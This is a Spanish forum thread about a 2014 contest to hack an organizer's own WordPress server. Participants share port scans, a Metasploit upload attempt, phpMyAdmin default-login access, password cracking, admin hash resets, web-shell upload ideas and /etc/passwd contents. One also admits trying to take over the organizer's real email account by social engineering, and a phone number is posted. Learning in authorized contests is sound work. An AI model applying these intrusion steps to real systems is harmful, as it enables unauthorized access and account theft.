Hack My Server II
El próximo día 15/05/2014 empezará el segundo concurso, se tratará de hackear un servidor (totalmente legal todo). El concurso durará 15 días y quizás hasta haya algún premio :-)
Bases:
- Daremos la IP del servidor que hay que hackear.
- El servidor no tendrá mucha seguridad.
- Tendrá una versión vieja de WordPress instalada.
- La finalidad es conseguir acceso root.
- Se trata de aprender, ir poniendo los avances aquí.
También me gustaría dejar claro que la idea de realizar esto es para que
todos los usuarios aprendamos de todos, por lo que los organizadores agradeceriamos que se realizaran comentarios sobre que herramientas usais, como investigais, etc. para que así todo el foro poco a poco fuera consiguiendo acceder al servidor.
CONDICIONES
- Se trata de ser colaborativos, es decir, contar en este POST como vais a atacar y lo que habeis conseguido.
- La idea es que entre todos aprendamos.
- Pasarlo bien.
GANADOR
- Será el primero que consiga acceder como root.
- Tendrá que haber participado en este foro comentando, etc...
- Se irá sumando punto a cada participante dependiendo los comentarios que haga, si ayuda a otros, etc.
- Vulnerabilidades encontradas en el wordpress contarán.
- El primero que consiga acceder como root se le enviará un poster gigante de Tron Legacy.
(http://i.elhacker.net/i?i=1EReiDlMjDpBQ_CLTijHz2Vo) (http://i.elhacker.net/d?i=1EReiDlMjDpBQ_CLTijHz2Vo)
PEDIR LA IP PONIENDO UN COMENTARIO EN ESTE POST
FIN DEL TORNEO: 15/08/2014
Puntos------
Baal_30 - 1 punto: escaneo de puertos y mostrar el webmin y el apache donde estan y con que lo ha escaneado.
BigByte - 1 punto: Empezó intentando usar un exploit, explicación y código.
WINTX - 1 punto: Indica donde está la URL del phpmyadmin
-
#!drvy - 1 punto: Aporta idea de como sacar el directorio de la carpeta upload provocando un error.
- 2 puntos: Hace deface en el WP
- 1 punto: Explica como hizo el deface
- 1 punto: Incluye información valiosa de como subir fichero con dumpfile en la carpeta tmp
- 1 punto: Explica como ha usado el interprete de phpmyadmin para llegar hasta el fichero con passwords.
- 1 punto: #!drvy publica fichero con configuracion (usuario/password) del WP.
- 2 puntos: Crear shell con MySQL (no subirla)
- 2 puntos: Acceso limitado shell
MinusFour - 1 punto: Primero en publicar la versión exacta del WP
- 2 puntos: Buena Documentación
- 1 punto: Ejecuta phpinfo
ret2libc - 1 punto: Da información para subir una shell
WHK - 1 punto: Pone versión exacta del WP (2.0.1-rc1) así como links donde encontrar las vulnerabilidades.
- 1 punto: Publica/explica el exploit que está usando de securityfocus
- 2 puntos: Consigue inyectar código SQL sin phpmyadmin
- 2 puntos: Hace/publica capturas y código de un script para sacar el hash
- 2 punto: Vulnerar plugin backup con acceso admin en el WP-Admin
xustyx - 2 puntos: Sube una shell
- 1 punto: Explica como ha metido la shell mediante SQL :-)
L0RdP3I - 1 punto: Sube shell a WP
Podeis seguirme en: Facebook (https://www.facebook.com/seguridaddimitrix)Hack my server 1: http://foro.elhacker.net/hacking_avanzado/concurso_nordm1_hack_my_server-t360003.0.html
Esperamos con ansias dmitrix... Ya es día 1!!
Cita de: BigByte en 1 Agosto 2014, 00:41 AM
Esperamos con ansias dmitrix... Ya es día 1!!
Vaya¡! Cuando puedas ¿me puedes pasar la IP por mp? ^^
Idem :p
En vuestro país será día 1, en el mío todavía queda xD
Ahora en serio... la iré mandando dentro de unas horas :-)
¡Y no olvidéis compartir todo lo que avanceis!
En cuanto a "compartir", hasta que punto?
Supongo, que sin desvelar los métodos que hemos usado ni ip ni urls no? :o
Día uno cojee un vuelo a España para que sea día 1 :P
Ya he mandado todas las IPs.Cita de: ivancea96 en 1 Agosto 2014, 01:47 AM
En cuanto a "compartir", hasta que punto?
Supongo, que sin desvelar los métodos que hemos usado ni ip ni urls no? :o
Sin IP.
Pero sobre todo los métodos que se han usado para sacar los fallos, como se han descubierto, que fallos son, como has intetado explotarlo.
¡Recuerda que esto es colaborativo!
Yo quiero IP tmb.
IP .. que ando en nada xD
ip.
(http://wiki.erepublik.com/images/7/70/-Chuck_Norris-_01.jpg)
BUenísimo!!! Quiero la IP para revolotear, thanx!
Bueno, comenzando con la básico, y lo primero que se debe hacer (creo yo...) y, siendo prácticamente lo único que puedo aportar con mis conocimientos... aquí dejo la lista con los puertos abiertos escaneados con el nmap ¡!
Port 22 : tcp : open : ssh : (protocol2.0)
Port 53 : tcp : open : domain
Port 80 : tcp : open : http : Apache httpd 2.4.6((Ubuntu))
Port 10000 : tcp : open : http : MiniServ1.690(Webmin httpd)
El SO parece que es un Linux 2.6.
Eso es lo que he podido sacar con un Intense Scan del nmap, espero que sirva de algo.
Un saludo
Yo quiero la ip :D
De momento buscando la versión de httpd que paso el compañero encontré que tiene varias vulns interesantes. La mayoría son de DOS pero hay una de overflow que si no es una versión de httpd falsa para confundir se podría aprovechar (si usa ese mod) https://httpd.apache.org/security/vulnerabilities_24.html (https://httpd.apache.org/security/vulnerabilities_24.html)
Citarmoderate: mod_status buffer overflow CVE-2014-0226
A race condition was found in mod_status. An attacker able to access a public server status page on a server using a threaded MPM could send a carefully crafted request which could lead to a heap buffer overflow. Note that it is not a default or recommended configuration to have a public accessible server status page.
Acknowledgements: This issue was reported by Marek Kroemeke, AKAT-1 and 22733db72ab3ed94b5f8a1ffcde850251fe6f466 via HP ZDI
Reported to security team: 30th May 2014
Issue public: 14th July 2014
Update Released: 14th July 2014
Affects: 2.4.9, 2.4.8, 2.4.7, 2.4.6, 2.4.4, 2.4.3, 2.4.2, 2.4.1
Dejo esto que en caso de que este habilitado quizás sirve... http://www.exploit-db.com/exploits/34133/ (http://www.exploit-db.com/exploits/34133/)
tengo alguna pista mas...
version de wordpress y un posible exploit... VAYA!!!! dmitrix es listo y ha cambiado los path, por lo que hasta que no tenga el correcto no configurare bien el exploit...
en esta ocasion tengo una duda.
he leido que se pueden cambiar los path de wordpress para ^disuadir^ al hacker
por ejemplo,
misitio.com/wordpress ha sido cambiado por otro. como puedo saber donde se encuentra ese path, para lanzar el exploit de forma satisfactoria??
aqui mi aporte
msf exploit(wp_asset_manager_upload_exec) >
- 198.50.149.153:80 - Uploading payload VSEdz.php
[-] Exploit failed [unexpected-reply]: 198.50.149.153:80 - Upload failed
creo que todos sabemos el exploit que es... decidme. voy bien encaminado??
por favor que alguien me diga como subir capturas de pantalla. gracias
Saludos:)
Ya he mandado a todos las IPs, si falta alguien, avisarme.Citarversion de wordpress y un posible exploit... VAYA!!!! dmitrix es listo y ha cambiado los path, por lo que hasta que no tenga el correcto no configurare bien el exploit...
Te aseguro que yo no he cambiado nada, está en la carpeta por default xD
Esta noche reparto los Dimi-puntos xD
Not shown: 995 closed ports, 1 filtered port
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
10000/tcp open snet-sensor-mgmt
http://web/phpmyadmin
Pongo web por que no se si se puede poner la dirección sorry :P
Cita de: WINTX en 1 Agosto 2014, 13:18 PM
web/phpmyadmin
Pongo web por que no se si se puede poner la dirección sorry :P
Great... vamos bien :-)
ip por favor
PD:perdon por mandarte el mp antes
User y pass de phpmyadmin por defecto.
Ahora se ve la contraseña y user de dimitrix. Y su e-mail :O
La contraseña está en MD5, pero en un diccionario online se puede descifrar.
No pongo ni user ni pass, porqe no se si lo debo poner :o Dimitrix, si quieres que ponga y tal dímelo xD
Cita de: ivancea96 en 1 Agosto 2014, 13:50 PM
User y pass de phpmyadmin por defecto.
Ahora se ve la contraseña y user de dimitrix. Y su e-mail :O
La contraseña está en MD5, pero en un diccionario online se puede descifrar.
No pongo ni user ni pass, porqe no se si lo debo poner :o Dimitrix, si quieres que ponga y tal dímelo xD
LOL yo probe hace rato la contraseña default del phpmyadmin y no entra :c
eing? el link ese no me conduce a ningún sitio, donde se prueba la pass y user del phpmyadmin? alguna ayudita plz :P
Pass del WP-admin: 2bc11f :D
Sí, poner todo, menos mi email, poner todo :-)
Vamos bien, poca-seguridad de MySQL petada.
Y poner como habeis accedido a todo, etc.
MOD: No poner email...
Phpmyadmin: root
pass: no tiene
IP cuando puedas dimitrix. Gracias
Ya esta down esto o que? Pasar IP anda que cuando llegue a casale doy que toy en el curro jejeje.
Va, un asco alguien cambio de la DB el email de dimitrix... aún así lo recuerdo pero si empiezan a cambiar cosas también los primeros podríamos haber cambiado la pass.
Dejen de joder
Wintx puedes explicar como conseguiste la pass? gracias :D
Entre al phpmyadmin ponía
root y root jaja y el usuario el otro dijo que era la dfault y yo como tonto seguía probando root y root pero era root y sin pass luego entre a wp-users cogí la pass en md5 y la desencripte en esta página: http://www.md5cracker.org
Saludos
Aaah vale, que crack, gracias !
Pero antes he intentado entrar al phpmyadmin y no he podido, ¿como se llega ahí? He probado el link que un usuario a comentado pero no me ha llevado a ningún lugar.
Para subir una shell me falta saber el directorio de la web xD ¿Alguna idea? D:
Cita de: ivancea96 en 1 Agosto 2014, 14:32 PM
Para subir una shell me falta saber el directorio de la web xD ¿Alguna idea? D:
Mira ver las tablas de Mysql :| haber si te da por hay algo vi yo pero no se si será eso
Cita de: Baal_30 en 1 Agosto 2014, 14:31 PM
Aaah vale, que crack, gracias !
Pero antes he intentado entrar al phpmyadmin y no he podido, ¿como se llega ahí? He probado el link que un usuario a comentado pero no me ha llevado a ningún lugar.
Prueba lawebquepasodimitrix/phpmyadmin
Pones en user root y no pones pass presionas enter si no te entra la cambiaron son unos graciosos al parecer...
CitarPara subir una shell me falta saber el directorio de la web xD ¿Alguna idea? D:
Puedes generar un error en los upload de Wordpress te diran el directorio..
En este caso es el tipico ' /var/www/ '
Saludos
"/var/www" sí funciona. pero me falta una carpeta más al menos, esa tiene permisos de escritura denegados :o
Jiji tampoco soy muy experto en web :p
Okey, gracias Wintx!
No han puesto pass por ahora... bien, bien :P Ahora la duda que me surje es como sabíais que con /phpmyadmin, iba a funcionar, y no con otro tipo... ¿sale en el scaneo de puertos, o por la versión de algún servicio?
Cita de: ivancea96 en 1 Agosto 2014, 14:44 PM
"/var/www" sí funciona. pero me falta una carpeta más al menos, esa tiene permisos de escritura denegados :o
Jiji tampoco soy muy experto en web :p
"/var/www/wordpress/wp-content/uploads/"
Has probado si el siguiente directorio se llama wordpress? o wp :S
"wordpress/" me sigue tirando error 2
Pues las tipica donde se suben archivos de wordpress
' /var/www/wp-content/uploads/ ' -> 404 Ese no existe (wordpress no tiene permisos para crearlo)
' /var/www/wp-content/themes/ ' -> Index list
' /var/www/wp-content/plugins/ ' -> Index list
PD: Si lo intentas por dumpfile en PHPMyAdmin.. olvidalo, mysqld no tiene permiso para la carpeta /var/www .. solo he conseguido subir en /tmp.. pero haria falta un LFI para llegar hasta ahi.
Saludos
El puerto 22 está open alguno probo a conectarse a través de PuTTy?
Prueben por el puerto 10000.
Mod: Se supone que no se da ni la direccion ni la IP ·_·
Mala mia.
la ip... llegué bieeen tarde
Probando con el PuTTy, me pone "The server's rsa2 key fingerprint is : ssh-rsa 2048 7b:34:49:c6:8d:21:ec:e2:d6:cb:3e:21:61:68:03:5f"
Supongo que será la pass cifrada, pero no se con que método :/ Luego le doy a Sí, y me pide user y pass, y no me sirve con root, y sin pass, y he probado algunas típicas y nada...
Estoy probando lo mismo, sftp. Pero sin user ni clave, nada xD
El puerto 22 es ssh .. el rsa2 key es el handshake para cifrado.
Saludos
La password es la que trae OVH...
Aacabo de recibir un mail de OVH... me intentais hackear mi cuenta OVH? Bien... pero os confundis xDDDD
Esta en otro email y ademas contratado en ovh.ca en el datacenter de vancouver si no me confundo.
PD1: Si alguien consigue aceder a mi cuenta que me pague un mes!
PD2: Si alguien consigue hackear ovh.com... que diga como! xD
PD3: Perdonar la falta de acentos.
El dia 7 cambiare la seguridad y hare la password SSH vulnerable a ataques.
Cita de: dimitrix en 1 Agosto 2014, 15:46 PM
La password es la que trae OVH...
Aacabo de recibir un mail de OVH... me intentais hackear mi cuenta OVH? Bien... pero os confundis xDDDD
Esta en otro email y ademas contratado en ovh.ca en el datacenter de vancouver si no me confundo.
PD1: Si alguien consigue aceder a mi cuenta que me pague un mes!
PD2: Si alguien consigue hackear ovh.com... que diga como! xD
PD3: Perdonar la falta de acentos.
El dia 7 cambiare la seguridad y hare la password SSH vulnerable a ataques.
Ese fui yo jajaj intente entrar al gmail luego intente que enviaran la pass al gmail y tenía acceso pero no funciono..
Me dices tu tlf de movil acabado en 28? :silbar:
JAJAaajaj
Hace anyos que no tengo activada esa linea xD
- 658974028
Ademas, te volveria a pedir nueva verificacion por no encontrarte en el mismo pais que yo.
De todos modos, menos ingenieria social y mas petar el servidor xD
juas, aver, dame esa ip xD
IP
Yo tambien le quiero dar un vistazo! Ip :D
Todooo enviadooooo
Usa Ubuntu?
Version del apache:
Apache/2.4.6 (Ubuntu) Server at vps84472.ovh.net Port 80
Edit: OH LOL no me habia dado cuenta que ya lo habian posteado xD.
Yo ya estoy perdido en esta parte alguien me encamina ;-)
Cita de: WINTX en 1 Agosto 2014, 16:56 PM
Yo ya estoy perdido en esta parte alguien me encamina ;-)
Idem xD
Se han hackeado al wordpress LOL
No valen plugins ¬¬.
Quien haya creado el deface que explique paso a paso como lo hizo para los puntos (y para compartir) xD
Ya? :/
No, no se ha rooteado.
Ah, uf, menos mal xD pero yo me he quedado ya estancadísimo xD no se ni por donde tirar :/
Yo ya me quede como la mayoría, no hay dir con permisos para subir shell por SQLi el SSH no tiene nada por defecto y por el puerto 10000 no mire mucho pero a saber si tiene algo...
Fue #!drvy el que hizo el deface xD.
IP :)
Quiero la ip, por favor
Em esto aun sigue?
El reto era conseguir root en el server no?
O vale con el deface?
Que Lammer urruina juego! No siguió las reglas.
Cita de: alkage en 1 Agosto 2014, 18:27 PM
Que Lammer urruina juego! No siguió las reglas.
Tranquilo, ya he restaurado la pagina.
Muy buena esa #!drvy XDDD (si es que fuiste tu...)
Para el que quiera saber del deface, eso fue una cosa muy sencilla. Simplemente a modificado la noticia e insertado HTML que cubria el blog entero.
No se han modificado archivos de la instalacion de wordpress, probablemente porque tiene permisos por default:
root root rwxr-xr-x
Yo creo que tiene que ver con trackback.php de el WP 2.0 ... o me parece que dije mucho? Igual me desanimé, el deface estuvo guapo jjjj
EDIT: para saber la version del WP solo hay que buscar readme.html en el primer directorio
Cita de: Stakewinner00 en 1 Agosto 2014, 18:03 PM
Yo ya me quede como la mayoría, no hay dir con permisos para subir shell por SQLi el SSH no tiene nada por defecto y por el puerto 10000 no mire mucho pero a saber si tiene algo...
Esta noche activo los permisos (como tendria un WP real) en las carpetas...
10000... webmin os espera...
!drvy puedes confirmar?
xustyx un deface es algo facil... se busca el root...
Por cierto para el que haya encontrado alguna vulnerabilidad de wordpress, si viene con permisos por default el proceso de apache no va a permitir escribir a la carpeta de www así que si intentan subir una shell por ahí ni lo intenten. Lo que podrían hacer si encontraron una vulnerabilidad es usar shell_exec...
Para el que no se haya dado cuenta O.o esto es wordpress 2.0... estoy seguro que debe haber muchas vulnerabilidades....
WordPress
Version 2.0
Cita de: alkage en 1 Agosto 2014, 18:27 PM
Que Lammer urruina juego! No siguió las reglas.
pffffffffff...
Fui yo por hacer la gracia xD No he rooteado ni nada, fue inyeccion de HTML en uno de los post..
Saludos
¿Como podría averiguar la versión del webmin? :P
→ nmap -sV ###########
Starting Nmap 6.00 ( http://nmap.org ) at 2014-08-01 16:07 CEST
Nmap scan report for ######### (#########)
Host is up (0.18s latency).
rDNS record for ######: #######
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh (protocol 2.0)
53/tcp open domain
80/tcp open http Apache httpd 2.4.6 ((Ubuntu))
445/tcp filtered microsoft-ds
10000/tcp open http MiniServ 1.690 (Webmin httpd)
Saludos
Cita de: MinusFour en 1 Agosto 2014, 18:42 PM
WordPress
Version 2.0
Exacto, la 2.0 con la ayuda de Peibol consegui una lista de versiones viejas xD
Ganate unos puntitos explicado como sabes que es la 2.0.
http://WEB/wp-includes/ FPD
function wp_handle_upload(&$file, $overrides = false) {
// The default error handler.
if (! function_exists('wp_handle_upload_error') ) {
function wp_handle_upload_error(&$file, $message) {
return array('error'=>$message);
}
}
// You may define your own function and pass the name in $overrides['upload_error_handler']
$upload_error_handler = 'wp_handle_upload_error';
// $_POST['action'] must be set and its value must equal $overrides['action'] or this:
$action = 'wp_handle_upload';
// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
$upload_error_strings = array(false,
__("The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>."),
__("The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form."),
__("The uploaded file was only partially uploaded."),
__("No file was uploaded."),
__("Missing a temporary folder."),
__("Failed to write file to disk."));
// Accepted MIME types are set here as PCRE. Override with $override['mimes'].
$mimes = apply_filters('upload_mimes', array (
'jpg|jpeg|jpe' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'bmp' => 'image/bmp',
'tif|tiff' => 'image/tiff',
'ico' => 'image/x-icon',
'asf|asx|wax|wmv|wmx' => 'video/asf',
'avi' => 'video/avi',
'mov|qt' => 'video/quicktime',
'mpeg|mpg|mpe' => 'video/mpeg',
'txt|c|cc|h' => 'text/plain',
'rtx' => 'text/richtext',
'css' => 'text/css',
'htm|html' => 'text/html',
'mp3|mp4' => 'audio/mpeg',
'ra|ram' => 'audio/x-realaudio',
'wav' => 'audio/wav',
'ogg' => 'audio/ogg',
'mid|midi' => 'audio/midi',
'wma' => 'audio/wma',
'rtf' => 'application/rtf',
'js' => 'application/javascript',
'pdf' => 'application/pdf',
'doc' => 'application/msword',
'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
'wri' => 'application/vnd.ms-write',
'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
'mdb' => 'application/vnd.ms-access',
'mpp' => 'application/vnd.ms-project',
'swf' => 'application/x-shockwave-flash',
'class' => 'application/java',
'tar' => 'application/x-tar',
'zip' => 'application/zip',
'gz|gzip' => 'application/x-gzip',
'exe' => 'application/x-msdownload'
));
// All tests are on by default. Most can be turned off by $override[{test_name}] = false;
$test_form = true;
$test_size = true;
// If you override this, you must provide $ext and $type!!!!
$test_type = true;
// Install user overrides. Did we mention that this voids your warranty?
if ( is_array($overrides) )
extract($overrides, EXTR_OVERWRITE);
// A correct form post will pass this test.
if ( $test_form && (!isset($_POST['action']) || ($_POST['action'] != $action)) )
return $upload_error_handler($file, __('Invalid form submission.'));
// A successful upload will pass this test. It makes no sense to override this one.
if ( $file['error'] > 0 )
return $upload_error_handler($file, $upload_error_strings[$file['error']]);
// A non-empty file will pass this test.
if ( $test_size && !($file['size'] > 0) )
return $upload_error_handler($file, __('File is empty. Please upload something more substantial.'));
// A properly uploaded file will pass this test. There should be no reason to override this one.
if (! @ is_uploaded_file($file['tmp_name']) )
return $upload_error_handler($file, __('Specified file failed upload test.'));
// A correct MIME type will pass this test.
if ( $test_type ) {
$type = false;
$ext = false;
foreach ($mimes as $ext_preg => $mime_match) {
$ext_preg = '![^.]\.(' . $ext_preg . ')$!i';
if ( preg_match($ext_preg, $file['name'], $ext_matches) ) {
$type = $mime_match;
$ext = $ext_matches[1];
}
}
if ( !$type || !$ext )
return $upload_error_handler($file, __('File type does not meet security guidelines. Try another.'));
}
// A writable uploads dir will pass this test. Again, there's no point overriding this one.
if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) )
return $upload_error_handler($file, $uploads['error']);
// Increment the file number until we have a unique file to save in $dir. Use $override['unique_filename_callback'] if supplied.
if ( isset($unique_filename_callback) && function_exists($unique_filename_callback) ) {
$filename = $unique_filename_callback($uploads['path'], $file['name']);
} else {
$number = '';
$filename = str_replace('#', '_', $file['name']);
$filename = str_replace(array('\\', "'"), '', $filename);
if ( empty($ext) )
$ext = '';
else
$ext = ".$ext";
while ( file_exists($uploads['path'] . "/$filename") ) {
if ( '' == "$number$ext" )
$filename = $filename . ++$number . $ext;
else
$filename = str_replace("$number$ext", ++$number . $ext, $filename);
}
}
// Move the file to the uploads dir
$new_file = $uploads['path'] . "/$filename";
if ( false === @ move_uploaded_file($file['tmp_name'], $new_file) )
die(printf(__('The uploaded file could not be moved to %s.'), $file['path']));
// Set correct file permissions
$stat = stat(dirname($new_file));
$perms = $stat['mode'] & 0000777;
@ chmod($new_file, $perms);
// Compute the URL
$url = $uploads['url'] . "/$filename";
return array('file' => $new_file, 'url' => $url, 'type' => $type);
}
Mi upload muere en : die(printf(__('The uploaded file could not be moved to %s.'),$file['path']));
Devolviendo como string un .
Es decir : "The uploaded file could not be moved to ."
Intento desde /wp-admin/link-import.php
Modifico el MAX_FILE_SIZE ,que es un input type="hidden",para poder subir mi shell que tiene mas tamaño.
A ver si alguno se le cae alguna idea de como pasar desde ahi , y tendriamos un bypass al uploader de wordpress.
Cita de: dimitrix en 1 Agosto 2014, 19:05 PM
Exacto, la 2.0 con la ayuda de Peibol consegui una lista de versiones viejas xD
Ganate unos puntitos explicado como sabes que es la 2.0.
http://ipdelserver/readme.html
Y si necesitas saber exactamente la versión de wordpress, necesitas meterte como admin... pongo aquí como hacerlo pero estoy seguro que a alguien ya se le ocurrio... estoy casi seguro.
Para meterte como admin, basta con volver a setear la password del admin en phpmyadmin, esta en la tabla wp_users. Para poner la password, solo basta con remplazar el hash por nuestra contraseña en hash...
http://www.miraclesalad.com/webtools/md5.php
Copias el hash y lo pegas y listo, te puedes loguear como admin xD.
En el footer tenemos una versión exacta de Wordpress...
(http://i.imgur.com/IQqgbYv.jpg)
Por cierto a mi no fue el primero que se me ocurrio lo de cambiar la password, pero que cabron el que lo hizo porque ya me habia puesto a crackear el hash >.> y ahora se que no me va a decir nada LOL.
Otra cosa, ya que puse aquí como ganar privilegios de admin en el wordpress, sería bueno que lo dejaramos en una sola password.
el WP parece vulnerable por todos lados pero dado que no tiene permisos ni para editarse a si mismo, es un poco inutil intentar subir algo por ahi..
Via el PHPMyAdmin se puede subir mediante dumpfile al directorio /tmp .. si solo pudieramos encontrar un LFI, la shell estaria subida.
Saludos
Cita de: ret2libc en 1 Agosto 2014, 19:09 PM
http://WEB/wp-includes/ FPD
function wp_handle_upload(&$file, $overrides = false) {
// The default error handler.
if (! function_exists('wp_handle_upload_error') ) {
function wp_handle_upload_error(&$file, $message) {
return array('error'=>$message);
}
}
// You may define your own function and pass the name in $overrides['upload_error_handler']
$upload_error_handler = 'wp_handle_upload_error';
// $_POST['action'] must be set and its value must equal $overrides['action'] or this:
$action = 'wp_handle_upload';
// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
$upload_error_strings = array(false,
__("The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>."),
__("The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form."),
__("The uploaded file was only partially uploaded."),
__("No file was uploaded."),
__("Missing a temporary folder."),
__("Failed to write file to disk."));
// Accepted MIME types are set here as PCRE. Override with $override['mimes'].
$mimes = apply_filters('upload_mimes', array (
'jpg|jpeg|jpe' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'bmp' => 'image/bmp',
'tif|tiff' => 'image/tiff',
'ico' => 'image/x-icon',
'asf|asx|wax|wmv|wmx' => 'video/asf',
'avi' => 'video/avi',
'mov|qt' => 'video/quicktime',
'mpeg|mpg|mpe' => 'video/mpeg',
'txt|c|cc|h' => 'text/plain',
'rtx' => 'text/richtext',
'css' => 'text/css',
'htm|html' => 'text/html',
'mp3|mp4' => 'audio/mpeg',
'ra|ram' => 'audio/x-realaudio',
'wav' => 'audio/wav',
'ogg' => 'audio/ogg',
'mid|midi' => 'audio/midi',
'wma' => 'audio/wma',
'rtf' => 'application/rtf',
'js' => 'application/javascript',
'pdf' => 'application/pdf',
'doc' => 'application/msword',
'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
'wri' => 'application/vnd.ms-write',
'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
'mdb' => 'application/vnd.ms-access',
'mpp' => 'application/vnd.ms-project',
'swf' => 'application/x-shockwave-flash',
'class' => 'application/java',
'tar' => 'application/x-tar',
'zip' => 'application/zip',
'gz|gzip' => 'application/x-gzip',
'exe' => 'application/x-msdownload'
));
// All tests are on by default. Most can be turned off by $override[{test_name}] = false;
$test_form = true;
$test_size = true;
// If you override this, you must provide $ext and $type!!!!
$test_type = true;
// Install user overrides. Did we mention that this voids your warranty?
if ( is_array($overrides) )
extract($overrides, EXTR_OVERWRITE);
// A correct form post will pass this test.
if ( $test_form && (!isset($_POST['action']) || ($_POST['action'] != $action)) )
return $upload_error_handler($file, __('Invalid form submission.'));
// A successful upload will pass this test. It makes no sense to override this one.
if ( $file['error'] > 0 )
return $upload_error_handler($file, $upload_error_strings[$file['error']]);
// A non-empty file will pass this test.
if ( $test_size && !($file['size'] > 0) )
return $upload_error_handler($file, __('File is empty. Please upload something more substantial.'));
// A properly uploaded file will pass this test. There should be no reason to override this one.
if (! @ is_uploaded_file($file['tmp_name']) )
return $upload_error_handler($file, __('Specified file failed upload test.'));
// A correct MIME type will pass this test.
if ( $test_type ) {
$type = false;
$ext = false;
foreach ($mimes as $ext_preg => $mime_match) {
$ext_preg = '![^.]\.(' . $ext_preg . ')$!i';
if ( preg_match($ext_preg, $file['name'], $ext_matches) ) {
$type = $mime_match;
$ext = $ext_matches[1];
}
}
if ( !$type || !$ext )
return $upload_error_handler($file, __('File type does not meet security guidelines. Try another.'));
}
// A writable uploads dir will pass this test. Again, there's no point overriding this one.
if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) )
return $upload_error_handler($file, $uploads['error']);
// Increment the file number until we have a unique file to save in $dir. Use $override['unique_filename_callback'] if supplied.
if ( isset($unique_filename_callback) && function_exists($unique_filename_callback) ) {
$filename = $unique_filename_callback($uploads['path'], $file['name']);
} else {
$number = '';
$filename = str_replace('#', '_', $file['name']);
$filename = str_replace(array('\\', "'"), '', $filename);
if ( empty($ext) )
$ext = '';
else
$ext = ".$ext";
while ( file_exists($uploads['path'] . "/$filename") ) {
if ( '' == "$number$ext" )
$filename = $filename . ++$number . $ext;
else
$filename = str_replace("$number$ext", ++$number . $ext, $filename);
}
}
// Move the file to the uploads dir
$new_file = $uploads['path'] . "/$filename";
if ( false === @ move_uploaded_file($file['tmp_name'], $new_file) )
die(printf(__('The uploaded file could not be moved to %s.'), $file['path']));
// Set correct file permissions
$stat = stat(dirname($new_file));
$perms = $stat['mode'] & 0000777;
@ chmod($new_file, $perms);
// Compute the URL
$url = $uploads['url'] . "/$filename";
return array('file' => $new_file, 'url' => $url, 'type' => $type);
}
Mi upload muere en : die(printf(__('The uploaded file could not be moved to %s.'),$file['path']));
Devolviendo como string un .
Es decir : "The uploaded file could not be moved to ."
Intento desde /wp-admin/link-import.php
Modifico el MAX_FILE_SIZE ,que es un input type="hidden",para poder subir mi shell que tiene mas tamaño.
A ver si alguno se le cae alguna idea de como pasar desde ahi , y tendriamos un bypass al uploader de wordpress.
¿No creo que haya permisos en la carpeta de upload o si? Si es así creo que puedo poner una shell. Según tengo entendido todo el directorio de www esta sin permisos de escritura, solo de lectura y ejecución.
Es que lo mas gracioso de todo es que la carpeta /uploads no existe xD
http://host.net/wp-content/uploads/
Saludos
No hay permisos de escritura en la carpeta upload tampoco, lo acaba de probar, trate de hacer un post y esto fue lo que me dijo:
The uploaded file could not be moved to .
Aunque bien puede ser que no exista la carpeta uploads o que haya un .htaccess denegando xD.
"tonto" jejeje
Teniendo la pass de admin, ¿no se pueden crear directorios y tal? O sea, crear la carpeta upload y todo eso... ¿o eso se hace sólo desde el server con algún programa de los que se usan?
Disculpen mi ignorancia :/
Cita de: Baal_30 en 1 Agosto 2014, 19:42 PM
"tonto" jejeje
Teniendo la pass de admin, ¿no se pueden crear directorios y tal? O sea, crear la carpeta upload y todo eso... ¿o eso se hace sólo desde el server con algún programa de los que se usan?
Disculpen mi ignorancia :/
Esa pass la ha puesto yo xD así que dudo mucho que haya otro servicio con esa password xDDD. Alguien cambio la password original de todos modos, así que no podemos saber si la pass original servia para otras cosas.
jaja pues si tuvieramos la pass original quizás serviría para otras cosas... pero bueno, entrando con la cuenta de admin y esa pass no se puede hacer lo que necesitamos ¿?
Buenas
Algo de progreso...
/etc/passwd - sin contraseñas :(
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/s...
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/...
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
fetchmail:x:101:65534::/var/lib/fetchmail:/bin/fal...
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
syslog:x:103:106::/home/syslog:/bin/false
klog:x:104:107::/home/klog:/bin/false
bind:x:105:109::/var/cache/bind:/bin/false
smmta:x:106:110:Mail Transfer Agent,,,:/var/lib/se...
smmsp:x:107:111:Mail Submission Program,,,:/var/li...
landscape:x:108:112::/var/lib/landscape:/bin/false
mysql:x:109:113:MySQL Server,,,:/nonexistent:/bin/.
Saludos
Please, explica como llegaste hasta ahi :-)
Cita de: #!drvy en 1 Agosto 2014, 20:09 PM
Buenas
Algo de progreso...
/etc/passwd - sin contraseñas :(
